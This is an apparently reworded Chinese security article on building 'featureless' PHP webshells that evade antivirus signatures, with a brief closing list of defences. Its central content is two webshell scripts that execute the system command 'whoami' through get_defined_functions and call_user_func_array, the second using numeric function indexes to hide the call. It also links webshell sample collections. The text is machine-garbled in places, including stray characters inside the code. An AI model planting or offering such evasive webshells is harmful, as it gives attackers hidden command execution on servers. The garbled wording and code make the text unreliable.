WebShell便是将PHP、ASP、JSP等代码以网页形式,编写成命令、代码实行的环境。最开始用于网站的管理,后来逐渐被用于网站后门。WebShell可谓是千变万化,编程措辞不同、编码不同等等衍生出大量后门。于此同时WebShell和杀软以及安全防护产品形成相互对抗的动态形势。在《攻击者创造绕过系统安全新方法:无文件攻击快速增长》一文中提到“恶意黑客开拓支配恶意软件的办法发生了转变,快速转向了高度动态的攻击,可以频繁变形以躲过标准安全产品的检测。”实在并不是限于PowerShell和WMI。
2. 文件和特色
WebShell作为非常盛行的后门办法,可谓变革万千,但是常日总是存在一些文件和特色,通过在杀毒软件的追踪查杀,基本能做到有迹可循。但是创造一些高等攻击,能够通过无文件、无特色、反取证技能来规避检测与权限坚持。
2.1. 常见的WebShell
在GITHUB上已经有很多职员在网络WebShell,以是在我们网络样本时会非常轻松。一些常见的WebShell网络的Github如下:
1. webshell网络项目 https://github.com/tennc/webshell
2. Webshell 样本 https://github.com/ysrc/webshell-sample
在这之中,能够找到大量盛行的Webshell,它们大多数存在留有文件、利用常见代码实行、命令实行函数等特点。这些脚本随意马虎被安全产品进行检测,成为这些WebShell的弊端之一。
2.2. 无特色WebShell
在特色上能够被轻易安全产品检测,那么没有特色没有文件就能够有效规避安全产品的检测和查杀。
利用无特色WebShell分别依赖两个函数:
1、ignore_user_abort
详解:ignore_user_abort适用于PHP4、5、7中,设置客户端断开连接时是否中断脚本的实行,PHP 以命令行脚本实行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 TRUE,否则脚本输出任意字符时会被中止。
2、get_defined_functions
详解:get_defined_functions适用于PHP4>=4.0.4、PHP5、7中,返回所有已定义函数的数组。
在理解这些函数之后,那么如何让这些函数成为WebShell?
3. 无特色Webshell编写
利用get_defined_functions函数进行举例解释。利用get_defined_functions()遍历所有的函数, func_get_args()接管传来的参数,然后将特定函数放在call_user_func_array()之中进行命令实行。
利用脚本如下:
<?phpfunction testfunc(){$conf = get_defined_functions();$args = func_get_args();$conf_id = array_shift($args);$conf_name = $conf['internal'][$conf_id];$tmp = 0;if($conf_name == \"大众system\"大众){print call_user_func_array($conf_name, $args).\"大众<br>\公众;$tmp = 1;}return $tmp;}for ($x=0; $x<=50000; $x++){$tmp = testfunc($x, \"大众whoami\"大众);if($tmp == 1){break;}}?>
实行结果:
看到这点肯定会有所疑问,这个不是有特色么?我们该当如何编写无特色?请看下面的脚本。
<?phpfunction f(){$f = get_defined_functions()['internal'];$a = func_get_args();$t = $f[797]($a); //797 array_shift$c = $f[$t];return $f[549]($c, $a);//549 call_user_func_array} $tmp = f(457,\公众whoami\"大众);//457 system?>
实行结果:
4. 如何检测和防御
关于如何检测?
1、这种办法通过会话流的形式已经很难检测,以是须要在终端进行防御。
2、在终端对付PHP调用函数实行过程进行严格的过滤检讨,不能仅仅限于HASH或者静态函数。
3、对付PHP可读可写权限以及可以实行代码的目录进行严格限定。
4、采取虚拟化环境运行,防止对付实际以及系统造成影响。
作者:Topsec-SRC
欢迎来安全脉搏查看更多的干货文章和我们一起互换互动哦!
脉搏地址:安全脉搏 | 分享技能,悦享品质
微博地址:Sina Visitor System